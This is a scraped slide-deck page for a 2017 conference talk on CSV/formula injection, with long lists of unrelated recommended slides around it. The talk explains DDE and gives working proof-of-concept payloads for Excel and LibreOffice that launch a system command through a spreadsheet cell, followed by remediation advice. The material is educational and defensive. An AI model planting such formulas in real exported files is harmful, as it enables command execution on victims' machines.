CSV Injection by Ishaq Mohammed

Ishaq Mohammed
Ishaq MohammedPentester | Security Enthusiast | Learner at SecureLayer7
Greetings!
17-06-2017
Formula/CSV
Injection
#WHOAMI
Ishaq Mohammed
Security Consultant @SecureLayer7
Ardent Security Researcher/Learner
You can ping here: @security_prince
#ls -l /Index
▸ Introduction
▸ DDE
▸ Exploitation
▸ Demo
▸ Remediation
▸ Reference
#cd Introduction
“CSV injection is a vulnerability
which affects applications having
the export spreadsheets
functionality.
#cat Introduction
▸Modern Applications allow users to export their data into .csv
or xls file which are handled by spreadsheet applications like
MS-EXCEL and OpenOffice Calc
▸Inputs from untrusted sources
▸Once exploited successfully, can lead to Remote Code
Execution and Remote Exfilteration of sensitive data
#cd DDE
Dynamic Data Exchange
Method used by application for
inter-communication
#cat DDE
DDE(server; file; item; mode)
#cd Exploitation
#Exploit
RCE? Yeah!!
#cat Payloads
▸ Basic
=sum(10+10)
▸ OpenOffice & LibreOffice
=DDE("cmd";"/C
calc";"__DdeLink_60_870516294")
▸ Microsoft Excel
=cmd|’ /C calc’!A0
#cd Demo
#cd Remediation
#cat Remediations
▸ Do not trust user input
▸ Output encoding
▸ Prefix -/=/| with an apostrophe
▸ HTML Encoding for special characters
#cd Reports
#Report
▸CSV Injection in Uber reported by David
Dworken
#cd References
#cat References
Special thanks to all the people who made and released these
awesome resources:
▸ Comma Separated Vulnerabilities by ContextIS
▸ CSV Injection Revisited - Making Things More
Dangerous(and fun) by Andy Gill
▸ Formula Injection by Chirag Savla
▸ Everything about the CSV Excel Macro Injection by Ishaq
Mohammed
▸ CSV Injection in Uber reported by David Dworken
Questions?
Discussions/Queries
THANK YOU! 
1 of 21

Recommended

O drama do sofrimento do justo by
O drama do sofrimento do justoO drama do sofrimento do justo
O drama do sofrimento do justoEid Marques
2.2K views30 slides
New Testament Survey no.25: Paul - First Letter to Timothy by
New Testament Survey no.25: Paul - First Letter to TimothyNew Testament Survey no.25: Paul - First Letter to Timothy
New Testament Survey no.25: Paul - First Letter to TimothyClive Ashby
1.2K views42 slides
THOMSON St585 v6 Guia de instalación y configuración by
THOMSON St585 v6 Guia de instalación y configuraciónTHOMSON St585 v6 Guia de instalación y configuración
THOMSON St585 v6 Guia de instalación y configuraciónSistemas Lapiedad
1.3K views60 slides
03 santificação by
03 santificação03 santificação
03 santificaçãoJoéliton Silva
600 views72 slides
Funções do Ministério de Música na Igreja by
Funções do Ministério de Música na IgrejaFunções do Ministério de Música na Igreja
Funções do Ministério de Música na IgrejaSeduc MT
21.9K views10 slides
As Parábolas de Jesus parte 1/2 by
As Parábolas de Jesus parte 1/2As Parábolas de Jesus parte 1/2
As Parábolas de Jesus parte 1/2Ney Bellas
3.5K views14 slides

More Related Content

What's hot

A fé by
A féA fé
A féLiana Plentz
2.2K views63 slides
O plano de salvação ilustrado by
O plano de salvação ilustradoO plano de salvação ilustrado
O plano de salvação ilustradoVinicio Pacifico
6.6K views5 slides
A cura do servo do centurião by
A cura do servo do centuriãoA cura do servo do centurião
A cura do servo do centuriãoIgreja Bíblica da Confissão
1.1K views14 slides
(Mis)trusting and (ab)using ssh by
(Mis)trusting and (ab)using ssh(Mis)trusting and (ab)using ssh
(Mis)trusting and (ab)using sshmorisson
5.6K views38 slides
Lição 12 - Milagres no nosso tempo by
Lição 12 - Milagres no nosso tempo Lição 12 - Milagres no nosso tempo
Lição 12 - Milagres no nosso tempo Erberson Pinheiro
1.7K views48 slides
Lição 13 ora vem senhor jesus by
Lição 13   ora vem senhor jesusLição 13   ora vem senhor jesus
Lição 13 ora vem senhor jesusCelso do Rozário Brasil Gonçalves
2K views44 slides

What's hot(20)

(Mis)trusting and (ab)using ssh by morisson
(Mis)trusting and (ab)using ssh(Mis)trusting and (ab)using ssh
(Mis)trusting and (ab)using ssh
morisson5.6K views
Lição 12 - Milagres no nosso tempo by Erberson Pinheiro
Lição 12 - Milagres no nosso tempo Lição 12 - Milagres no nosso tempo
Lição 12 - Milagres no nosso tempo
Erberson Pinheiro1.7K views
Dreams & mysteries notes blessing and cursing by Katuri Susmitha
Dreams & mysteries notes   blessing and cursingDreams & mysteries notes   blessing and cursing
Dreams & mysteries notes blessing and cursing
Katuri Susmitha598 views
O cajado do pastor manual para novos convertidos - paul collins by Ederson Tribst
O cajado do pastor   manual para novos convertidos - paul collinsO cajado do pastor   manual para novos convertidos - paul collins
O cajado do pastor manual para novos convertidos - paul collins
Ederson Tribst5.1K views
Honrando ao senhor com as primícias by Luciano Pedroza
Honrando ao senhor com as primíciasHonrando ao senhor com as primícias
Honrando ao senhor com as primícias
Luciano Pedroza9.2K views
12 o perdao na familia by PIB Penha
12   o perdao na familia12   o perdao na familia
12 o perdao na familia
PIB Penha715 views
“Prossigo para o alvo” by JUERP
“Prossigo para o alvo”“Prossigo para o alvo”
“Prossigo para o alvo”
JUERP6.6K views
Ultimate Spiritual Fighting - The Reality Of Spiritual Warefare by Robin Schumacher
Ultimate Spiritual Fighting - The Reality Of Spiritual WarefareUltimate Spiritual Fighting - The Reality Of Spiritual Warefare
Ultimate Spiritual Fighting - The Reality Of Spiritual Warefare
Robin Schumacher2.6K views
Einfach besser! Deutsch für den Beruf B1-B2: Abschlussprüfung des BAMF Basism... by telc gGmbH
Einfach besser! Deutsch für den Beruf B1-B2: Abschlussprüfung des BAMF Basism...Einfach besser! Deutsch für den Beruf B1-B2: Abschlussprüfung des BAMF Basism...
Einfach besser! Deutsch für den Beruf B1-B2: Abschlussprüfung des BAMF Basism...
telc gGmbH3.8K views

Similar to CSV Injection by Ishaq Mohammed

Martin Koons Resume 2015 by
Martin Koons Resume 2015Martin Koons Resume 2015
Martin Koons Resume 2015Marty Koons
615 views9 slides
Getting A Shell Through MS Office - CYBER PHOENIX CONCLAVE 2K18 INFORMATION ... by
Getting A  Shell Through MS Office - CYBER PHOENIX CONCLAVE 2K18 INFORMATION ...Getting A  Shell Through MS Office - CYBER PHOENIX CONCLAVE 2K18 INFORMATION ...
Getting A Shell Through MS Office - CYBER PHOENIX CONCLAVE 2K18 INFORMATION ...Velayutham Selvaraj
102 views18 slides
Managing ScaleIO as Software on Mesos by
Managing ScaleIO as Software on MesosManaging ScaleIO as Software on Mesos
Managing ScaleIO as Software on MesosDavid vonThenen
77 views43 slides
Your Self-Driving Car - How Did it Get So Smart? by
Your Self-Driving Car - How Did it Get So Smart?Your Self-Driving Car - How Did it Get So Smart?
Your Self-Driving Car - How Did it Get So Smart?Hortonworks
1.3K views33 slides
Automating Workflows for Analytics Pipelines by
Automating Workflows for Analytics PipelinesAutomating Workflows for Analytics Pipelines
Automating Workflows for Analytics PipelinesSadayuki Furuhashi
1.9K views28 slides
Managing ScaleIO as Software on Mesos - David vonThenen - Dell EMC World 2017 by
Managing ScaleIO as Software on Mesos - David vonThenen - Dell EMC World 2017Managing ScaleIO as Software on Mesos - David vonThenen - Dell EMC World 2017
Managing ScaleIO as Software on Mesos - David vonThenen - Dell EMC World 2017{code} by Dell EMC
2.5K views43 slides

Similar to CSV Injection by Ishaq Mohammed(20)

Martin Koons Resume 2015 by Marty Koons
Martin Koons Resume 2015Martin Koons Resume 2015
Martin Koons Resume 2015
Marty Koons615 views
Getting A Shell Through MS Office - CYBER PHOENIX CONCLAVE 2K18 INFORMATION ... by Velayutham Selvaraj
Getting A  Shell Through MS Office - CYBER PHOENIX CONCLAVE 2K18 INFORMATION ...Getting A  Shell Through MS Office - CYBER PHOENIX CONCLAVE 2K18 INFORMATION ...
Getting A Shell Through MS Office - CYBER PHOENIX CONCLAVE 2K18 INFORMATION ...
Managing ScaleIO as Software on Mesos by David vonThenen
Managing ScaleIO as Software on MesosManaging ScaleIO as Software on Mesos
Managing ScaleIO as Software on Mesos
David vonThenen77 views
Your Self-Driving Car - How Did it Get So Smart? by Hortonworks
Your Self-Driving Car - How Did it Get So Smart?Your Self-Driving Car - How Did it Get So Smart?
Your Self-Driving Car - How Did it Get So Smart?
Hortonworks1.3K views
Automating Workflows for Analytics Pipelines by Sadayuki Furuhashi
Automating Workflows for Analytics PipelinesAutomating Workflows for Analytics Pipelines
Automating Workflows for Analytics Pipelines
Sadayuki Furuhashi1.9K views
Managing ScaleIO as Software on Mesos - David vonThenen - Dell EMC World 2017 by {code} by Dell EMC
Managing ScaleIO as Software on Mesos - David vonThenen - Dell EMC World 2017Managing ScaleIO as Software on Mesos - David vonThenen - Dell EMC World 2017
Managing ScaleIO as Software on Mesos - David vonThenen - Dell EMC World 2017
{code} by Dell EMC2.5K views
CLOUD DESKTOP SOLUTIONS FOR ENHANCED SECURITY.pdf by vDesk.Works
CLOUD DESKTOP SOLUTIONS FOR ENHANCED SECURITY.pdfCLOUD DESKTOP SOLUTIONS FOR ENHANCED SECURITY.pdf
CLOUD DESKTOP SOLUTIONS FOR ENHANCED SECURITY.pdf
vDesk.Works 7 views
CLOUD DESKTOP SOLUTIONS FOR ENHANCED SECURITY.pdf by vDesk.Works
CLOUD DESKTOP SOLUTIONS FOR ENHANCED SECURITY.pdfCLOUD DESKTOP SOLUTIONS FOR ENHANCED SECURITY.pdf
CLOUD DESKTOP SOLUTIONS FOR ENHANCED SECURITY.pdf
vDesk.Works 9 views
Real World Modern Development Use Cases with RackHD and Adobe by Timothy Gelter
Real World Modern Development Use Cases with RackHD and AdobeReal World Modern Development Use Cases with RackHD and Adobe
Real World Modern Development Use Cases with RackHD and Adobe
Timothy Gelter169 views
jnandag detailed profile by Jatin Nanda
jnandag detailed profilejnandag detailed profile
jnandag detailed profile
Jatin Nanda299 views
Clogeny Hadoop ecosystem - an overview by Madhur Nawandar
Clogeny Hadoop ecosystem - an overviewClogeny Hadoop ecosystem - an overview
Clogeny Hadoop ecosystem - an overview
Madhur Nawandar70 views
A Primer for Your Next Data Science Proof of Concept on the Cloud by Alton Alexander
A Primer for Your Next Data Science Proof of Concept on the CloudA Primer for Your Next Data Science Proof of Concept on the Cloud
A Primer for Your Next Data Science Proof of Concept on the Cloud
Alton Alexander523 views
RedisConf18 - Writing modular & encapsulated Redis code by Redis Labs
RedisConf18 - Writing modular & encapsulated Redis codeRedisConf18 - Writing modular & encapsulated Redis code
RedisConf18 - Writing modular & encapsulated Redis code
Redis Labs266 views
Enterprise Desktops Well Served - a technical perspective on virtual desktops by Molten Technologies
Enterprise Desktops Well Served - a technical perspective on virtual desktopsEnterprise Desktops Well Served - a technical perspective on virtual desktops
Enterprise Desktops Well Served - a technical perspective on virtual desktops
IndyCodeCamp SDS May 16th 2009 by Aaron King
IndyCodeCamp SDS May 16th 2009IndyCodeCamp SDS May 16th 2009
IndyCodeCamp SDS May 16th 2009
Aaron King399 views
Recipe to build open splice dds 6.3.xxx Hello World example over Qt 5.2 by Adil Khan
 Recipe to build open splice dds 6.3.xxx Hello World example over Qt 5.2   Recipe to build open splice dds 6.3.xxx Hello World example over Qt 5.2
Recipe to build open splice dds 6.3.xxx Hello World example over Qt 5.2
Adil Khan3.5K views

Recently uploaded

Ransomware is Knocking your Door_Final.pdf by
Ransomware is Knocking your Door_Final.pdfRansomware is Knocking your Door_Final.pdf
Ransomware is Knocking your Door_Final.pdfSecurity Bootcamp
96 views46 slides
State of the Union - Rohit Yadav - Apache CloudStack by
State of the Union - Rohit Yadav - Apache CloudStackState of the Union - Rohit Yadav - Apache CloudStack
State of the Union - Rohit Yadav - Apache CloudStackShapeBlue
297 views53 slides
What’s New in CloudStack 4.19 - Abhishek Kumar - ShapeBlue by
What’s New in CloudStack 4.19 - Abhishek Kumar - ShapeBlueWhat’s New in CloudStack 4.19 - Abhishek Kumar - ShapeBlue
What’s New in CloudStack 4.19 - Abhishek Kumar - ShapeBlueShapeBlue
263 views23 slides
Why and How CloudStack at weSystems - Stephan Bienek - weSystems by
Why and How CloudStack at weSystems - Stephan Bienek - weSystemsWhy and How CloudStack at weSystems - Stephan Bienek - weSystems
Why and How CloudStack at weSystems - Stephan Bienek - weSystemsShapeBlue
238 views13 slides
Redefining the book supply chain: A glimpse into the future - Tech Forum 2023 by
Redefining the book supply chain: A glimpse into the future - Tech Forum 2023Redefining the book supply chain: A glimpse into the future - Tech Forum 2023
Redefining the book supply chain: A glimpse into the future - Tech Forum 2023BookNet Canada
44 views19 slides
CloudStack Object Storage - An Introduction - Vladimir Petrov - ShapeBlue by
CloudStack Object Storage - An Introduction - Vladimir Petrov - ShapeBlueCloudStack Object Storage - An Introduction - Vladimir Petrov - ShapeBlue
CloudStack Object Storage - An Introduction - Vladimir Petrov - ShapeBlueShapeBlue
138 views15 slides

Recently uploaded(20)

State of the Union - Rohit Yadav - Apache CloudStack by ShapeBlue
State of the Union - Rohit Yadav - Apache CloudStackState of the Union - Rohit Yadav - Apache CloudStack
State of the Union - Rohit Yadav - Apache CloudStack
ShapeBlue297 views
What’s New in CloudStack 4.19 - Abhishek Kumar - ShapeBlue by ShapeBlue
What’s New in CloudStack 4.19 - Abhishek Kumar - ShapeBlueWhat’s New in CloudStack 4.19 - Abhishek Kumar - ShapeBlue
What’s New in CloudStack 4.19 - Abhishek Kumar - ShapeBlue
ShapeBlue263 views
Why and How CloudStack at weSystems - Stephan Bienek - weSystems by ShapeBlue
Why and How CloudStack at weSystems - Stephan Bienek - weSystemsWhy and How CloudStack at weSystems - Stephan Bienek - weSystems
Why and How CloudStack at weSystems - Stephan Bienek - weSystems
ShapeBlue238 views
Redefining the book supply chain: A glimpse into the future - Tech Forum 2023 by BookNet Canada
Redefining the book supply chain: A glimpse into the future - Tech Forum 2023Redefining the book supply chain: A glimpse into the future - Tech Forum 2023
Redefining the book supply chain: A glimpse into the future - Tech Forum 2023
BookNet Canada44 views
CloudStack Object Storage - An Introduction - Vladimir Petrov - ShapeBlue by ShapeBlue
CloudStack Object Storage - An Introduction - Vladimir Petrov - ShapeBlueCloudStack Object Storage - An Introduction - Vladimir Petrov - ShapeBlue
CloudStack Object Storage - An Introduction - Vladimir Petrov - ShapeBlue
ShapeBlue138 views
2FA and OAuth2 in CloudStack - Andrija Panić - ShapeBlue by ShapeBlue
2FA and OAuth2 in CloudStack - Andrija Panić - ShapeBlue2FA and OAuth2 in CloudStack - Andrija Panić - ShapeBlue
2FA and OAuth2 in CloudStack - Andrija Panić - ShapeBlue
ShapeBlue147 views
The Role of Patterns in the Era of Large Language Models by Yunyao Li
The Role of Patterns in the Era of Large Language ModelsThe Role of Patterns in the Era of Large Language Models
The Role of Patterns in the Era of Large Language Models
Yunyao Li85 views
How to Re-use Old Hardware with CloudStack. Saving Money and the Environment ... by ShapeBlue
How to Re-use Old Hardware with CloudStack. Saving Money and the Environment ...How to Re-use Old Hardware with CloudStack. Saving Money and the Environment ...
How to Re-use Old Hardware with CloudStack. Saving Money and the Environment ...
ShapeBlue166 views
Don’t Make A Human Do A Robot’s Job! : 6 Reasons Why AI Will Save Us & Not De... by Moses Kemibaro
Don’t Make A Human Do A Robot’s Job! : 6 Reasons Why AI Will Save Us & Not De...Don’t Make A Human Do A Robot’s Job! : 6 Reasons Why AI Will Save Us & Not De...
Don’t Make A Human Do A Robot’s Job! : 6 Reasons Why AI Will Save Us & Not De...
Moses Kemibaro34 views
Digital Personal Data Protection (DPDP) Practical Approach For CISOs by Priyanka Aash
Digital Personal Data Protection (DPDP) Practical Approach For CISOsDigital Personal Data Protection (DPDP) Practical Approach For CISOs
Digital Personal Data Protection (DPDP) Practical Approach For CISOs
Priyanka Aash158 views
Optimizing Communication to Optimize Human Behavior - LCBM by Yaman Kumar
Optimizing Communication to Optimize Human Behavior - LCBMOptimizing Communication to Optimize Human Behavior - LCBM
Optimizing Communication to Optimize Human Behavior - LCBM
Yaman Kumar38 views
ESPC 2023 - Protect and Govern your Sensitive Data with Microsoft Purview in ... by Jasper Oosterveld
ESPC 2023 - Protect and Govern your Sensitive Data with Microsoft Purview in ...ESPC 2023 - Protect and Govern your Sensitive Data with Microsoft Purview in ...
ESPC 2023 - Protect and Govern your Sensitive Data with Microsoft Purview in ...
Developments to CloudStack’s SDN ecosystem: Integration with VMWare NSX 4 - P... by ShapeBlue
Developments to CloudStack’s SDN ecosystem: Integration with VMWare NSX 4 - P...Developments to CloudStack’s SDN ecosystem: Integration with VMWare NSX 4 - P...
Developments to CloudStack’s SDN ecosystem: Integration with VMWare NSX 4 - P...
ShapeBlue194 views
VNF Integration and Support in CloudStack - Wei Zhou - ShapeBlue by ShapeBlue
VNF Integration and Support in CloudStack - Wei Zhou - ShapeBlueVNF Integration and Support in CloudStack - Wei Zhou - ShapeBlue
VNF Integration and Support in CloudStack - Wei Zhou - ShapeBlue
ShapeBlue203 views
Import Export Virtual Machine for KVM Hypervisor - Ayush Pandey - University ... by ShapeBlue
Import Export Virtual Machine for KVM Hypervisor - Ayush Pandey - University ...Import Export Virtual Machine for KVM Hypervisor - Ayush Pandey - University ...
Import Export Virtual Machine for KVM Hypervisor - Ayush Pandey - University ...
ShapeBlue119 views
Elevating Privacy and Security in CloudStack - Boris Stoyanov - ShapeBlue by ShapeBlue
Elevating Privacy and Security in CloudStack - Boris Stoyanov - ShapeBlueElevating Privacy and Security in CloudStack - Boris Stoyanov - ShapeBlue
Elevating Privacy and Security in CloudStack - Boris Stoyanov - ShapeBlue
ShapeBlue222 views
NTGapps NTG LowCode Platform by Mustafa Kuğu
NTGapps NTG LowCode Platform NTGapps NTG LowCode Platform
NTGapps NTG LowCode Platform
Mustafa Kuğu423 views

CSV Injection by Ishaq Mohammed